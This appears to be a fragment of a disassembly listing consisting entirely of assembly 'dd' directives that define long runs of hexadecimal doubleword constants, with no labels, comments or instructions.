		dd 0FAF3BE57h, 0BA65078Eh, 13B616F4h, 0DCC092BDh, 0C200B5E4h
		dd 91D76CB9h, 7642EA2h,	0CC7C9FACh, 0F6502042h,	0FE2636E5h
		dd 0BF3D1F11h, 2526808Dh, 241FBDC5h, 0AA9D3C69h, 1C010E93h
		dd 56641DCh, 0E447B8C8h, 0B90E0F4Dh, 0C0D52554h, 0B095F250h
		dd 0C235003Bh, 9D5D9E60h, 900B1A6h, 0AD8C380h, 0FBD9CFh
		dd 0F4974377h, 8C745C7Dh, 33302801h, 5ACA8D6Bh,	0AFBCE8h
		dd 0EEDEB0DCh, 0FD3A38A5h, 0C4A0C67Bh, 6600F6B3h, 45C7BB48h
		dd 594187h, 0FE517895h,	6722CB91h, 0D401EE00h, 0F83323DCh
		dd 0BBD8009Dh, 0E7E593CEh, 3F035197h, 0EB7B235h, 4824BAB4h
		dd 0EAA761Ch, 376D4A7Ah, 8FF7BB47h, 64E4DE40h, 100413Dh
		dd 7943926Fh, 24254C42h, 0FEE7CAh, 2A907BCCh, 0FC065CB5h
		dd 0E010C0AFh, 0AE380010h, 0C5E112ECh, 0E8120CC1h, 0E009D7A7h
		dd 305018C3h, 0C1D9005Ah, 815D58EEh, 84002405h,	947934E4h
		dd 0A6D8F8h, 0F0A70928h, 7BE38F4Eh, 2686D60Fh, 0ACC0AEDEh
		dd 217172h, 28FFCD25h, 2B99F4BEh, 0FA48CEE6h, 0F8560091h
		dd 51C93730h, 0FF3C0783h, 20933885h, 8E817CA8h,	46CE8201h
		dd 21F4505Eh, 3DEC95CCh, 9A00D7D2h, 0BFD31792h,	2006F1Fh
		dd 9636E368h, 2428300Bh, 681EBDh, 9484216h, 873F88DAh
		dd 0ECBF8797h, 0CC907AA7h, 0E083D0B8h, 1BCE00D3h, 0B2A04249h
		dd 0FA00A4AEh, 5190DCCFh, 4CD81h, 63E210C2h, 5CC83F0Fh
		dd 0FC45B500h, 0DA18CA4h, 0AB5400CFh, 89DC23D7h, 787BBD38h
		dd 16D93B33h, 0F44F88F7h, 0A10401F6h, 7770205Bh, 89B7E4D5h
		dd 603D685Ch, 96095F20h, 2544005Dh, 82108BB9h, 0C800244Ah
		dd 16AC9E4Eh, 0A7E3F8h,	3216CAEh, 7B468B37h, 12384A00h
		dd 0CB9F40A6h, 0F7EA03E2h, 26D80E16h, 78DDB2C0h, 33C28C07h
		dd 1930E918h, 0C51F31h,	5A69162Ch, 7AB6523Dh, 9F81620Fh
		dd 59EB41h, 4B8F81Ah, 9B5A0005h, 0D334F46Fh, 28C07BB2h
		dd 51ECB3F5h, 82E100EDh, 73B957B0h, 7200CCE3h, 56FB5A04h
		dd 72E7A55h, 0AE08D916h, 9629A0B5h, 3B006F1Ch, 97DD1A03h
		dd 14317EF0h, 0F21F2636h, 0BB6C12h, 0E9B18C58h,	66053C9Bh
		dd 7495B8CBh, 7C32F000h, 3CDEF91Fh, 0D480613Ah,	278757CAh
		dd 6A009ADDh, 0F54C457Ah, 31048E2h, 4D9F1379h, 0FEA08292h
		dd 96037593h, 814903ECh, 425EA009h, 0EB5A009Ch,	47A36315h
		dd 0A809377Ch, 0D824C9h, 0D6126039h, 465F0080h,	8DC092CBh
		dd 810070BCh, 3C740B07h, 9352896h, 452AB46Dh, 85D46780h
		dd 2200F70Ah, 9CE3E86h,	78B9ADh, 2EB2088Fh, 0F84FC68Eh
		dd 5AE01F00h, 0BA35470Ah, 1CF500ADh, 9B0659C4h,	0AB0030DBh
		dd 0EE88B74h, 5F44AFh, 0F583315Ch, 5316BE6Ah, 0D1528800h
		dd 92071B8Fh, 0A1039015h, 7BF0F76Fh, 73E101A4h,	0FD58A845h
		dd 1B0BB47h, 7D9EDDE8h,	48E008F6h, 2682ECBCh, 0D3B0DEh
		dd 490D36F1h, 6D0004D3h, 174421D2h, 59BAA5E6h, 6B0F04C5h
		dd 63C1D7D4h, 20C8AD56h, 9E2C0408h, 7040C7Ah, 10D07C82h
		dd 0CB6B1h, 42212A2Dh, 46AB9E3Bh, 0ED968803h, 0D0CB9948h
		dd 24C27BCEh, 249D86h, 0B6F63671h, 42002FD2h, 519906EAh
		dd 1E2128B1h, 0C0C4B70Eh, 1833E7Ch, 34E395DCh, 161DBAB0h
		dd 0EB40280Fh, 0DF8B59D5h, 0B2DD0040h, 3FA5E7E4h, 0AB00AAA2h
		dd 0B7F12C14h, 0EEF78B05h, 0B430FF68h, 0B68E00D2h, 8FE9E5ADh
		dd 0D448C244h, 20D303B3h, 90233633h, 0AB0B239h,	0BD487B0Ch
		dd 407C1FC1h, 526A1F78h, 75286227h, 0C300809Eh,	4EAA0E05h
		dd 0A0FC58h, 8933A991h,	0F240E916h, 4AC7B70Ch, 36D21F5h
		dd 98C0A407h, 7C1E85AAh, 0EF402E63h, 0A26CCA32h, 0E37320h
		dd 0B6DF2D4Fh, 7CF9EB8Bh, 93D24600h, 30038CCAh,	57BE0059h
		dd 9F3B770Dh, 37734487h, 0EF12000h, 0D57AF803h,	0A2E60B85h
		dd 787255Ah, 0F6571012h, 0AB165B39h, 660049D0h,	0A982A801h
		dd 966707FAh, 0A14C5581h, 0F485DC76h, 1F50E702h, 0F30ED895h
		dd 1712C3CCh, 2DBB1C00h, 1B09733h, 875B2F78h, 0E5887F32h
		dd 38DC4D0h, 40189400h,	72782B34h, 86C400BAh, 1DB51795h
		dd 130169D2h, 4EB90D2Ch, 0A04004F9h, 1748EF97h,	2089B49Fh
		dd 310FC074h, 200018DDh, 9799E52Eh, 5EBF1682h, 7DC000ACh
		dd 2588F2E3h, 0DFED1900h, 30A0C88Eh, 0C49E00E4h, 581A264Bh
		dd 38E86493h, 5076D5EEh, 3B7FE901h, 0D02E653Dh,	0C5F81E8h
		dd 0D622E1FCh, 17E01F20h, 0DBD17318h, 0AFDA10h,	1A3CDE84h
		dd 6303233Ah, 3E01477Dh, 0C0FE01B8h, 0EBC870A6h, 0B44E005Ah
		dd 0C996764Dh, 0EE00EA49h, 6EED5546h, 7FF273h, 0E2D96856h
		dd 22867790h, 0C04FDD00h, 74DC82C9h, 41800013h,	8DB50E89h
		dd 7E7744D3h, 7C85B401h, 0C3940439h, 71F8F4h, 605B6519h
		dd 0D50EBF61h, 7300A67Bh
		dd 0AFEA8817h, 18CC1E7h, 0C6EC0C18h, 0C30A2630h, 80E9800h
		dd 0F9C1CD05h, 9F7E00CCh, 0DF91FD34h, 0EA06A919h, 2FF447F1h
		dd 0B1400E8h, 96F7BFB5h, 0F80076FDh, 0DA900F9Fh, 0BD9E7Fh
		dd 8B665A2Ah, 3FA42924h, 0E57D9301h, 0B3E2DE8h,	0A1E960h
		dd 5780ED05h, 807AF44h,	0A20EF300h, 95902486h, 8A030652h
		dd 0F8BCD656h, 1207701h, 47B5D355h, 7A8BC4h, 0B38DF1A5h
		dd 0A494B0EFh, 22998500h, 2272951h, 66FEECh, 0B1E4A8FFh
		dd 0AC05CC06h, 10F77430h, 0F1B69h, 0F6E985FBh, 0EBEEDAD8h
		dd 0AC185C00h, 2E3721C0h, 8984249Ah, 70A70000h,	0E9880C19h
		dd 228FAB03h, 0B0C41506h, 548A2EDh, 0A924BD65h,	7BFDC3F6h
		dd 0F13A5A98h, 0EB46350Eh, 0CFED0017h, 3B6832Eh, 6FF79AB8h
		dd 99B32375h, 4F043AA0h, 6A8C10C0h, 0CF133Ch, 0A2C44314h
		dd 0E8961658h, 40EFEB00h, 0CE796089h, 0F89F0152h, 74DEEECBh
		dd 7A09D023h, 0AE47E900h, 0DC99A457h, 5D830002h, 743485Fh
		dd 0A7000418h, 976D771Bh, 0E67053h, 7D3AACC2h, 0B360929Ch
		dd 6B7B8200h, 2F29B08Dh, 76787CC3h, 0E3B8A979h,	55D970h
		dd 48BC2C77h, 0C1E27590h, 600FA401h, 1A86D776h,	9971F8h
		dd 3719EBA7h, 7BFE9A41h, 5F486474h, 0E7067EACh,	0CC8BBD32h
		dd 88E810h, 96799F0Fh, 0F43E3BA3h, 43BC3203h, 0A8B185F5h
		dd 1EE3C742h, 0C07C9931h, 8C0FAA2Fh, 306D691h, 0B17549F3h
		dd 6125004Ch, 115D3DCh,	2E008448h, 0B36C8BF1h, 8D8A41h
		dd 4224542Bh, 681E0277h, 0AE716503h, 0C80FD9E4h, 1D0D8721h
		dd 802C9A32h, 5F5CBEABh, 0D57FFD2Eh, 414FFC00h,	60548D38h
		dd 0AAE81C35h, 7BB1C3CFh, 59986B87h, 0B500D783h, 252B5720h
		dd 8AFE0Ch, 0AFE7C889h,	43F44515h, 0F4EDE224h, 2AA2F300h
		dd 0FCF82366h, 41310B1Eh, 5801376Ah, 0D43FCE50h, 0FD00C3C7h
		dd 70672AAEh, 4CDA70Ch,	5549B0AAh, 5ECC80FCh, 0DD0C7A59h
		dd 76F471F2h, 0BED2014Eh, 358B44FDh, 2805E7AEh,	0E958E2BFh
		dd 0B300BEBCh, 1E5AB51Dh, 813995Eh, 0E71Ah, 6E0D3851h
		dd 737ED6h, 84892C67h, 0C6B7804Eh, 64417407h, 6E30D983h
		dd 0A6B9EC4h, 38EEC123h, 77D800ACh, 0BFD099F4h,	942D7800h
		dd 1830DA6Dh, 12B10066h, 0C3DB1DBDh, 20254BEh, 24DD4B11h
		dd 513C4091h, 145602B8h, 0D297C16Fh, 7366A880h,	93079F1Bh
		dd 9EC60876h, 55BE67F0h, 57E82C0Dh, 0AA9B00B5h,	98966C37h
		dd 0C6739100h, 1A8F3D69h, 0A097601Bh, 9412224h,	96D1CE39h
		dd 0FA1EEAA1h, 2A007B53h, 6F2EFB85h, 9F700F3Fh,	42E076C3h
		dd 86983447h, 0F4E79707h, 6EB161CCh, 71FC8B01h,	0FEEA0268h
		dd 0E4480737h, 0ED0CA840h, 66284300h, 0F401E724h, 13A8EE13h
		dd 0F82017h, 3A27B82Ch,	962C9789h, 0C9187746h, 12541F8h
		dd 9E19C1CEh, 40BA1E80h, 0CA4DDEDFh, 3FEEED00h,	0B583AC7Fh
		dd 0BD878C5h, 6280653Bh, 600860Fh, 98606E48h, 8AB1EB00h
		dd 9399C7Eh, 9FC100C5h,	7245CEE4h, 2098FEDFh, 42BEFB10h
		dd 488692Ah, 11EACB0Fh,	1CC2804Fh, 61025552h, 0D9135C5Dh
		dd 0AC70C107h, 170CEE60h, 48A2C7Dh, 0C083D799h,	90D51910h
		dd 0E034F00h, 0A473ABC7h, 75501E7h, 0C29977F3h,	81DED854h
		dd 0B1E99C00h, 43649E6Ah, 40130009h, 387AEBD2h,	0E100606Dh
		dd 7976A4ADh, 0B86BC0CAh, 6AD51FC9h, 99531Bh, 4A9490C5h
		dd 3C00AC81h, 6E501E05h, 0ED0F0Eh, 3B385C89h, 0AAD2960Ah
		dd 7E0C5A00h, 0F20E508Dh, 628B2664h, 0C1107D00h, 3CC91AB0h
		dd 0A401062Ch, 0BF5D0F41h, 6EB1420h, 57AB9C73h,	0FF0210C8h
		dd 46E7DDE0h, 0F3C4609Ah, 21437FC7h, 0C800A0B3h, 0FC5CF9E8h
		dd 0AFC3003Eh, 0BBB557BAh, 0A276B7E2h, 0CC707800h, 62E52408h
		dd 8790095Eh, 83716Fh, 0B6A029DEh, 0D0160FA8h, 5400AA92h
		dd 520A8562h, 5FB40010h, 21F26DFDh, 60E9D9F6h, 33019B8Ch
		dd 0B7FAE5A0h, 0C300F02Fh, 0C41E09A4h, 7A57D1C0h, 0E3280800h
		dd 0B921762h, 0CAD07216h, 9AD54400h, 90031CE0h,	4A78E471h
		dd 47181E82h, 37ED805Fh, 0F6C2AE24h, 0C0071B8h,	1B4D44EBh
		dd 992E2BAh, 1D516769h,	0E08B9780h, 0EE003A4Ah,	210325FAh
		dd 0E46ECC7h, 595F62DBh, 0F56DDF60h, 960B1F7Eh,	2052B9h
		dd 0BEC17055h, 0FF9E2CCEh, 6646034Eh, 68F03C02h, 0B0A04A42h
		dd 2D004079h, 0EFE9F643h, 7E344C9h, 275CB92Ah, 853F924Bh
		dd 0B6A04860h, 30D4AC00h, 0F5AABF4Fh, 460F0022h, 0BB49F0BDh
		dd 45F441EFh, 0AE936113h, 5A9C3800h, 0F0F369BAh, 27780E0Eh
		dd 4033C9FFh, 231ABED8h, 6E173D38h, 0CCE02E61h,	0F1EE0A7Eh
		dd 0D0A0A7h, 753F37AFh,	4013C81h, 4938A2F4h, 4AFCDE2Ch
		dd 0FDB800ECh, 79F51A12h, 0ED00DFD7h, 0FEC5B660h, 0E7A6507h
		dd 4B52C4Dh, 64BBC9C0h,	0E0B21C46h, 74B1B00h, 0A573D0F4h
		dd 0C215CA9h, 5037C5Ch,	855754C9h, 0D840BF8Ah, 6E248A5Eh
		dd 0D500ADD3h, 0A246B48Dh, 0CFA03E1h, 0D941585Ah, 0DB917790h
		dd 0DC39FE00h, 0B13A3B3Dh, 0CD493BE2h, 0C0C7EE1Eh, 6F31E699h
		dd 930F5BCCh, 0AFD3AC25h, 203043EFh, 5827A89Ch,	0C7E28Dh
		dd 0F039D6DFh, 0A2165D81h, 0B565EE00h, 32E39F9Bh, 290B8A4h
		dd 0F2942856h, 0E060795Fh, 0C400B61Bh, 3C4073BCh, 123A1D4Ch
		dd 5BE59Ch, 0A42489FCh,	0AC009F29h, 98DFA01h, 0F257021h
		dd 40E705B4h, 0E780B90Bh, 0CD6D784Bh, 0C8358900h, 0AACC4A1h
		dd 6CE261h, 31442148h, 0E98CE2B6h, 0D3F3F600h, 60BDFEACh
		dd 0F4510019h, 855CBEDh, 661D8469h, 0A91E5A8Eh,	6E2C803Bh
		dd 3CEF9D94h, 48051F7Dh, 5EE400A8h, 2AE5C5C4h, 6ECC5618h
		dd 219330h, 7AC9D08Eh, 75115267h, 1E88B300h, 0F94C8BE3h
		dd 9406117Bh, 0E63C00C9h, 9590C4F6h, 0D12A288Fh, 7C61C33Ch
		dd 19B89328h, 0E9B06275h, 0A40D5A00h, 351339ECh, 8FA83042h
		dd 95056930h, 50DBC933h, 0AFBE9321h, 28BEE2C6h,	0EAD7163h
		dd 6D67FB58h, 24AAEEC3h, 32C2E4A8h, 0CF6E141Ch,	0CDD1F504h
		dd 0D974DB80h, 0EA3ECF8h, 0C95E5F9Fh, 1C3908E0h, 0E4000AB2h
		dd 76245D84h, 0FCC0493Dh, 73943E82h, 2A05DC80h,	86E01B3Eh
		dd 0DFD55F00h, 6776FDA3h, 7FF2F06Ah, 0C2E20EFFh, 65C01F9Ch
		dd 0F733AB9Dh, 418CA11Fh, 1D813D83h, 77660904h,	0ED00B3D6h
		dd 5278021Bh, 0EA5DE71Fh, 9E535B8Fh, 80157D09h,	0DFE6BCD3h
		dd 44323D07h, 4DF2007Eh, 3E18CDEDh, 0AB000E27h,	0CC041CD2h
		dd 27496E0h, 5FDC33BEh,	5540C2E3h, 870AC1A5h, 0A8E6C5C9h
		dd 0B4F53687h, 0F6EC4CE0h, 12FF0030h, 48C4D722h, 9A008E91h
		dd 2FB0737Dh, 19BB2CAh,	0CD34EB8Bh, 0C80EC8F7h,	0D903B7DCh
		dd 86C99009h, 1CBC008Eh, 0B63D1E3Ah, 0CB029A78h, 83E6029h
		dd 0A20F4086h, 35B4001Dh, 0EAAD2B31h, 300EB7Ah,	0C387F9F6h
		dd 150BDDh, 0B6751E9Fh,	681D8B93h, 6B744E07h, 0F981A083h
		dd 5170A603h, 18970048h, 4F945ABDh, 1E003C4Dh, 9C02E401h
		dd 798A9CCh, 6BA1997Bh,	0B8095060h, 0E300AA7Fh,	0C834C611h
		dd 4C89AEh, 0ECFBDC67h,	0DDACEEF4h, 3DE1EF00h, 784008EAh
		dd 3EFCD1h, 0DFF27B3Ah,	37FF628Ah, 0F4A6CC00h, 8BEFCDEBh
		dd 0F0B90115h, 5230504Dh, 2469E158h, 0FF031A70h, 2ACFC32Fh
		dd 0C11AD22h, 2433FC04h, 0EB0C648h, 2D209DB1h, 4553F5A8h
		dd 46CC0200h, 5BDBCFA9h, 50B60133h, 25B003F3h, 3729909Fh
		dd 48C1F984h, 290A427Ah
		dd 22441B22h, 0CE246A81h, 132C9321h, 6044D49Fh,	42F2486Bh
		dd 832528F1h, 16AD3C04h, 4A53A644h, 67101475h, 0AA447788h
		dd 12012B21h, 0FF5082CBh, 2FE2593h, 2E408C14h, 2721CF04h
		dd 11E212DCh, 0C0B30879h, 52BFEF79h, 8812C2A6h,	0DF070337h
		dd 81E06310h, 0E3C673h,	0F659D0EEh, 69E20C19h, 4265FB07h
		dd 0E830D14Eh, 0EA336A9h, 0EFD57702h, 28B5E740h, 18F24774h
		dd 480F5800h, 16C2B0B8h, 809A00BFh, 0D26157D4h,	44E2D7C3h
		dd 8368AC00h, 0A2857E11h, 0B12C2625h, 543B0EB6h, 0AFAB807Dh
		dd 269F3E94h, 9E4CE403h, 0A8319ADAh, 1EFEA388h,	0C01E6091h
		dd 0FACF8934h, 3824838Fh, 96015158h, 0A0F11085h, 50802EFCh
		dd 0B7F8199h, 31E98653h, 0BF0CA783h, 0AE178790h, 10B5EC30h
		dd 369F976h, 9FBCD2E9h,	18D098E6h, 74393D56h, 0CCB6h, 35C1AC8Dh
		dd 69AE2E8h, 232CC419h,	7D0340D1h, 7E66ED68h, 0FF1000ECh
		dd 0B1F57031h, 2D7C43E8h, 85ED1D01h, 0ADB52844h, 6A0D4880h
		dd 679718D3h, 94015C01h, 87108B72h, 7BB7ABC4h, 82A6007Bh
		dd 0D926C2E8h, 84A04D78h, 450CDC98h, 104EE2F4h,	0CD5C0087h
		dd 0AC3ED726h, 5706467Dh, 7ACF11A3h, 38520120h,	10CDD993h
		dd 76AE60A4h, 80AF0F00h, 1FA4AD6h, 0B3630F15h, 0B8C0A99Ah
		dd 1445AAD5h, 52E11000h, 67C34454h, 7EF13E72h, 0B380C0BBh
		dd 6A74C15Fh, 0B60F1401h, 2016CE09h, 3318D67Fh,	7D610611h
		dd 3002EDE3h, 0CBD23800h, 0CE8477AEh, 9C7E0092h, 6307C231h
		dd 0B800504Fh, 9F752F5Ch, 198BE25h, 0E0FABACAh,	0D14ADF92h
		dd 4CEE70ADh, 18827D00h, 0FF8D412Fh, 6D210001h,	0A29DEB5Dh
		dd 1500C12Eh, 907FA56Eh, 0DD79BCh, 3B6C46F1h, 9CB9FCCAh
		dd 0AC8B2700h, 11375658h, 9740044h, 0CEBC0786h,	18010522h
		dd 0C1AE82AFh, 80E40CA1h, 49CF0028h, 0D477E76h,	2E0F16D2h
		dd 0E763AADBh, 9E509836h, 7150A0A7h, 93D006C3h,	11FA79F3h
		dd 53945E00h, 0FB5B013Ah, 448B0C22h, 3562E3A7h,	6BD024h
		dd 6AFF2B80h, 0E8A80h, 4E1DE0E2h, 0F4C47A3h, 0AFD9DB09h
		dd 0AA0D869h, 0CD51C6A7h, 958E0FECh, 766FDCE0h,	0C90EBAE5h
		dd 0E13944BEh, 0FF078CCCh, 0B870D3h, 587C4BD2h,	35B1097Ah
		dd 96C45D01h, 0ACCE4DF1h, 8911F8h, 58DB8DAEh, 5153C6C5h
		dd 7400EFEEh, 9A4BE0CDh, 4EA7B7h, 0C05458AFh, 0B550306Eh
		dd 353C9300h, 1C56A57h,	4B080228h, 0FA8E5B17h, 0ACE8055h
		dd 152E03Ah, 0A5887B3Fh, 60735581h, 0EBF6BA36h,	379A6D16h
		dd 15F7DA00h, 7853D5E9h, 0C45100CCh, 0AAC3312Bh, 9100133Dh
		dd 788D9804h, 2602CA5Dh, 30DD0Dh, 6B552819h, 0A9000E41h
		dd 0E3CD444Ah, 3877E72Bh, 0F00FEBCAh, 2408EE6h,	0EE4ABAA6h
		dd 0B69B4E00h, 41185475h, 34E1009Ch, 0C879EB4Fh, 5B00E3E6h
		dd 8DA65ED5h, 0DA4974h,	3386A820h, 0B7B0426Ah, 5DEC73Ch
		dd 0B808D25Bh, 0C5FF400h, 0FF509198h, 65951081h, 40A17511h
		dd 8C0E29C0h, 9376A505h, 9EC0CF90h, 90692160h, 0F5FE2Eh
		dd 92A8173Fh, 5635A337h, 9A590A00h, 0EDFB01B6h,	0AEE600DEh
		dd 31A16A2h, 0BD004C64h, 0F95FDA09h, 0BC8F9Dh, 2C316DB7h
		dd 3EACB1E7h, 0FBE00401h, 0FFDF679Eh, 4BA0330h,	0E78B267Ch
		dd 43A88048h, 41572DBh,	0E0313Ah, 0A549371Ah, 0A4137Ah
		dd 8B3C46DFh, 0F82502A6h, 611D400h, 0E287BED9h,	561400ECh
		dd 0C4E36EC5h, 0AF12DF40h, 0A8004578h, 0CE442FBEh, 7E960020h
		dd 46B5DE24h, 751C838Bh, 55401969h, 0AEA444A8h,	7DA0090Fh
		dd 68009F21h, 248F7B30h, 5973C300h, 81389506h, 46D41492h
		dd 8B02ACE5h, 6440C10Eh, 5BAD9000h, 286C005Fh, 1B358FE2h
		dd 3B0FF742h, 0EF115DA9h, 8BB2E0C9h, 267ECB3Fh,	859F9Eh
		dd 91BAEC7h, 8E01B53Bh,	0C5FCB14Dh, 0CC30EFF5h,	6E33006Dh
		dd 342F0F13h, 60304284h, 8BFB7003h, 103A2E64h, 0CD7F07B9h
		dd 214FB223h, 2BF027E0h, 0AC14BA00h, 0E7F16EFAh, 9528C01Eh
		dd 0E3E81DF6h, 0DA78D701h, 2C4093D5h, 0E078C30h, 20272EBBh
		dd 7CC458Ah, 0D08EC41Fh, 0F6C86D56h, 0F4402400h, 5A87FA31h
		dd 3A813E67h, 0A2E46402h, 0BCC0B571h, 13077CC5h, 1B97BF7Dh
		dd 20EE3250h, 279400E7h, 64BE2D5Fh, 17003B8Bh, 0A67CDC0h
		dd 0DFD9BFh, 6C901D21h,	9E306F3Ch, 8EC86A09h, 5FACA0FDh
		dd 5C2417E1h, 0FF00B960h, 0E457C5E3h, 0E0FE5A04h, 5010F903h
		dd 0B8028DFEh, 389D7028h, 6680DA07h, 7D5671AFh,	3483D6Ch
		dd 0CAD600BCh, 23393A58h, 0F467002Eh, 31A4C0EDh, 6200E03Bh
		dd 0F5A78A6Fh, 436A0Ch,	22C552DAh, 0C7AADD3Ah, 7969700h
		dd 0E0253BE6h, 19500C8h, 0F343FBD5h, 23078B3Ah,	9C681441h
		dd 619A5020h, 149B0DDh,	67B849BFh, 20D5808Bh, 0EC07F2E4h
		dd 0B77E46FEh, 29CCBC60h, 0B375042Ch, 824C8F89h, 0A480D144h
		dd 73098AD9h, 7A015CB8h, 216899C8h, 5880DFEEh, 59D72260h
		dd 18074A17h, 0C728F6B8h, 2ACC9190h, 0F17CB7h, 0E030AC98h
		dd 0B5EDA59Fh, 0EF4CC700h, 0E10A5F24h, 3690077h, 0B0B6E08Eh
		dd 3B00FEA8h, 0E531B4FDh, 4142FA0h, 0A662CEC0h,	0E4C80F7h
		dd 7B00B96Dh, 0D6EF40FFh, 0B8CE635Dh, 0D907004Eh, 9EE831Bh
		dd 60B8170Ch, 350099F4h, 0DC6EE7CBh, 0D5AD2Ah, 37E204F5h
		dd 0B93149D6h, 20900DE6h, 0BBCECB03h, 80A61AC7h, 3E039475h
		dd 9D075844h, 0E97B071Ch, 0D91D8C80h, 0FF00DE4Eh, 2BF36076h
		dd 0E88A6C92h, 0AA7707B7h, 42DF4D46h, 60DD3595h, 49A6A24h
		dd 284741D4h, 0C91580FAh, 2701CDF8h, 0D3400F35h, 7C200D61h
		dd 8EC700BEh, 2387E999h, 830085F3h, 0DF4A3817h,	0EC86634Eh
		dd 0B03363ABh, 62D0FA75h, 551F71CCh, 0D700E2C0h, 0C7E9CED5h
		dd 0D6201EC2h, 73753E7h, 0F0139E48h, 8F776801h,	2E31F81Dh
		dd 4D37147h, 5F0649C0h,	55BC048Eh, 85366239h, 738548h
		dd 3D849DFCh, 6A76634Ch, 0F5C22A0Eh, 0AE871E62h, 1D81ECDCh
		dd 0D9E0E3B8h, 0AC300ACh, 7DD2F2EBh, 3490ED19h,	0AF29201Dh
		dd 39A45C9h, 0D073E11Ch, 5DEAEC3Eh, 6A00E8B2h, 869635CDh
		dd 6B3A51ACh, 0DAD0180h, 6E93C67Fh, 0BC61F4h, 92601129h
		dd 39C7A787h, 5FE6CC1Eh, 5C552640h, 3FD24E9h, 8879660Ch
		dd 4AB89D8Bh, 5D743C68h, 35DCD504h, 84989C2Eh, 9FEF0BB7h
		dd 0E8000EEBh, 0FA67D14Fh, 789DA600h, 488F28C7h, 0B8C060FCh
		dd 0A82730EAh, 31418109h, 291490D8h, 0EF00079h,	6DD7DACAh
		dd 6500432Fh, 983716FAh, 113ECBh, 31FD5A01h, 9989BE92h
		dd 0E1303C07h, 4C50EF2Fh, 0E42903C0h, 0CBBB869h, 223BACE9h
		dd 0FCB878B0h, 7C5C0F26h, 49B1C600h, 11F2361h, 7C2C06BFh
		dd 0E070E785h, 1300FBD7h, 736C94FAh, 0B36F927h,	0ACDAB96Bh
		dd 0D0340380h, 9D7BEFA1h, 0F3C32D00h, 8B24C73h,	3A700Eh
		dd 0F26C611Dh, 674AFF25h, 0A474B000h, 7B2FDA84h, 0CB0C25A1h
		dd 0C30065F6h, 5E2B91F5h, 3922830h, 0B94F3EE0h,	1ACA9A8h
		dd 0A4618782h, 0C0231F46h, 5A7C8BAAh, 672BC20Ch, 0E07B3040h
		dd 0FCB87989h, 0B7CC1702h, 0FF160782h, 70060B25h, 70982841h
		dd 4E5F6800h, 1095E8BEh, 35D90059h, 0F7F0A0E0h,	0A612B2D3h
		dd 7400397Eh, 0CD15B9B4h, 0EF042E42h, 0D58C0095h, 0BADECCD1h
		dd 84125E00h, 0DD75144h, 3A50004h, 0EFFA81B4h, 0CD005223h
		dd 0AB4B7BC1h, 18881366h, 5867561Dh, 8904A6F0h,	0E9402DFFh
		dd 14D0A080h
		dd 18AB0069h, 0C31CBADDh, 4C48DB24h, 9CAF0AE4h,	5600C026h
		dd 0BE912D3Eh, 710F009Dh, 0D619469Eh, 4F3B5D0Ah, 7C5C8372h
		dd 0A868D5D0h, 56A88Ah,	2A1A10D7h, 0F578CF81h, 5F6B7300h
		dd 0E2097541h, 2C085CA3h, 0A1F7007Eh, 0D5B052Bh, 41002EFDh
		dd 5FB21C02h, 0EB11C5h,	0C315731Fh, 6D22208Dh, 95A13902h
		dd 80DDB87Eh, 0AB4A9DA0h, 64620947h, 0FCA06F16h, 0E1335E70h
		dd 35F613Bh, 2A6BC07Ah,	0EB99901Dh, 16E33A07h, 0C9D80D00h
		dd 0BF081757h, 20C7C103h, 0A8DF1D78h, 0F67234EFh, 79390109h
		dd 2AD4DA40h, 8FC080BBh, 2CF2BA9Ch, 0BE59007Bh,	736591B2h
		dd 0E03B674h, 273631BBh, 48F4A0F7h, 62D928F5h, 747A04B0h
		dd 398B11h, 0EAD6CFBFh,	957746h, 8E6EE1DEh, 76C9413Dh
		dd 3A660800h, 1142404Dh, 65AD0079h, 9A8C5A05h, 460006DBh
		dd 0B11A4AA0h, 8E628D8h, 53AFBBDCh, 38811204h, 0DDE9BF40h
		dd 630068A2h, 0E3B1F1B3h, 0B026FE3Bh, 17160095h, 7B2B4BA9h
		dd 9F00DB77h, 0C7250CF2h, 13115ECFh, 13BBA07h, 576DDF0h
		dd 887C240Ah, 2295301h,	2EB1F664h, 90D1B874h, 50EB00E4h
		dd 87BE8CCCh, 0F3382A66h, 4C4C17h, 0CA896FABh, 1DCF927Ch
		dd 5EC6D059h, 0C068DEBAh, 9F7F1B06h, 0E348916Eh, 7D545858h
		dd 5C00E490h, 0BE2A0124h, 3C872584h, 381F1F32h,	0E8AED3h
		dd 88A7167Ah, 0D8B28F2Eh, 11B1BB00h, 544485F7h,	0E77A006Bh
		dd 0B0F5CFB8h, 0B509F462h, 0E197D6CEh, 30094004h, 8A00F970h
		dd 6B37CA01h, 1F47C12h,	9869403Bh, 7063CF56h, 5D0C1DF8h
		dd 11E501FEh, 50E71C83h, 3DD4809Eh, 3A4A9878h, 0F395F4A0h
		dd 60975C96h, 0A16A6700h, 8F2B30h, 2214CD3Ah, 0F7D25819h
		dd 45A3CDA0h, 0B009784Fh, 873B0283h, 318440E8h,	0DC293330h
		dd 0EDC84E28h, 8F0706B9h, 16E1AA5Dh, 87BF0A30h,	759FA8Eh
		dd 366DFD33h, 42E600BBh, 0C7006577h, 0EB14DCC6h, 47A4E52h
		dd 21766E35h, 2E18E08Bh, 0D33C1DF6h, 0A3EB8039h, 0C716A4C8h
		dd 176DB886h, 40CFB5F1h, 6723EEF4h, 0C507B164h,	0A686BF41h
		dd 0C1E71E11h, 1D203D8h, 0E6D1E3BAh, 64F87C09h,	4E0327F0h
		dd 0AFB99037h, 88A48096h, 0D659058Ch, 8087311Eh, 23B41D50h
		dd 0E6FC3E01h, 884C2DD1h, 36012DCh, 99665330h, 0A8C03603h
		dd 0B848F84Bh, 0ECD90E48h, 4E23C01Eh, 353A2Ah, 0C9606C71h
		dd 0E4E64BBFh, 0B9287C63h, 0C28A85Eh, 48FC045Ah, 84D8D347h
		dd 0A820D062h, 0B4E22607h, 6044DE00h, 0FB1C6313h, 0D09EE3h
		dd 55C45DBAh, 58B08971h, 0DFCC6C13h, 0F7574404h, 4E47E4D0h
		dd 0C7B00021h, 0F19F9BECh, 4B1C55E6h, 0B64930E1h, 35180145h
		dd 7DDC5E85h, 64B451h, 3A12EBFDh, 0E448E013h, 1C350080h
		dd 10A4385Dh, 8644139Ch, 0F338C05Ah, 0BA5984h, 92B53001h
		dd 71EE5C0h, 0E3553880h, 79A57682h, 0C0D51A3Dh,	0A190D2h
		dd 0BAC68706h, 781130E0h, 8A753AE4h, 82D0550Bh,	0E931005Fh
		dd 48D70AA2h, 9307604Fh, 97F6E288h, 95D9E061h, 3A0E99CAh
		dd 0E082AA75h, 7B58F72Ah, 88520076h, 74C62478h,	34008E48h
